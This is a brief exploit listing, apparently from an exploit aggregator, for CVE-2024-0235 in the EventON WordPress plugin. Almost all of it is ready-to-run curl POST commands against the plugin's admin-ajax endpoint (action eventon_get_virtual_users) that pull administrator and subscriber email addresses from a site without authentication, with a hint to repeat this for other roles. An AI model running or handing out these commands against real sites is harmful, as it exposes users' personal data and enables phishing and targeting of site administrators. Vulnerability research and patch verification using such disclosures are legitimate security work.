Exploit for EventON (Free < 2.2.8, Premium < 4.5.5) - Unauthenticated Email Address Disclosure CVE-2024-0235

## https://sploitus.com/exploit?id=WPEX-ID:E370B99A-F485-42BD-96A3-60432A15A4E9
To get the administrator user emails:

curl -X POST --data '_user_role=administrator' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

To get the subscriber user emails:

curl -X POST --data '_user_role=subscriber' 'https://example.com/wp-admin/admin-ajax.php?action=eventon_get_virtual_users'

etc to get others